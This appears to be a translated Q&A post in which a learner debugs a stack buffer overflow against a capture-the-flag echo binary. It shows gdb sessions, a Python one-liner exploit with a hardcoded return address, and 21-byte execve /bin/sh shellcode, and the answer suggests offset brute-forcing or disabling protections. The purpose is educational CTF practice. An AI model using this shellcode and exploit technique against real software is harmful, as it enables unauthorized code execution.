C简单缓冲区溢出

时间:2016-12-30 00:06:09

标签: c buffer buffer-overflow

我试图了解缓冲区溢出的工作原理以及如何使用缓冲区溢出。 我试图利用提供的二进制文件来解决一个简单的挑战(backdoorlabs echo challenge)。

(见:http://hack.bckdr.in/ECHO/echo

我认为我做的一切都是正确的(根据我一直在阅读的指南和教程),但它仍然没有工作,并且已经让我疯了好几个小时了。

缓冲区溢出允许我写下一条指令(eip)。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')    

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

所以我能够覆盖下一个eip,现在让我们添加一些21字节的shell代码来生成一个shell并尝试找到它所在的地址。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750:     0xe1f7c931      0x2f2f6851      0x2f686873      0x896e6962
0xbffff760:     0xcd0bb0e3      0xbfff0080      0xbffff80c      0xb7fff3d0
0xbffff770:     0x08048480      0xffffffff      0x0012efc4      0x080482d8
0xbffff780:     0x00000001      0xbffff7c0      0x0011eb25      0x0012fab0

Bingo shellcode就在这里加载到0xbffff750,所以这就是我们想要点到地址的地址..

到目前为止,一切看起来都是正确的,所以我尝试找到正确的值。

(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)


(gdb) x/i $eip
=> 0xbffff750:  xor    %ecx,%ecx
(gdb)

eip已更改为正确的地址,并且shellcode已就位,但是当我在我的shell中尝试它时它不起作用,仍然可以看到段错误。

[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀
Segmentation fault
[rick@TESTBOX tmp]$

此处有人对此有一些想法,看到错误或有任何其他想法? 如上所述,我是一个试图理解基本原则的新手,显然我做错了。

1 个答案:

答案 0 :(得分:0)

我认为你的问题是:

  

程序的实际执行与gdb控制的程序之间存在差异。

你需要

  1. 预测这种差异。 this question给出了一个如何做到的例子。
  2. OR

    1. 我几个月前就遇到了你的问题。那时,我观察到了这种差异。但是我并没有用这种方式来找到差异,相反,我在剥削的艺术0x331 中使用了蛮力方式示例:尝试使用shell脚本进行不同的偏移。
    2. This question可能会在将来帮助您,它会告诉您如何关闭某些安全功能以允许您进行攻击。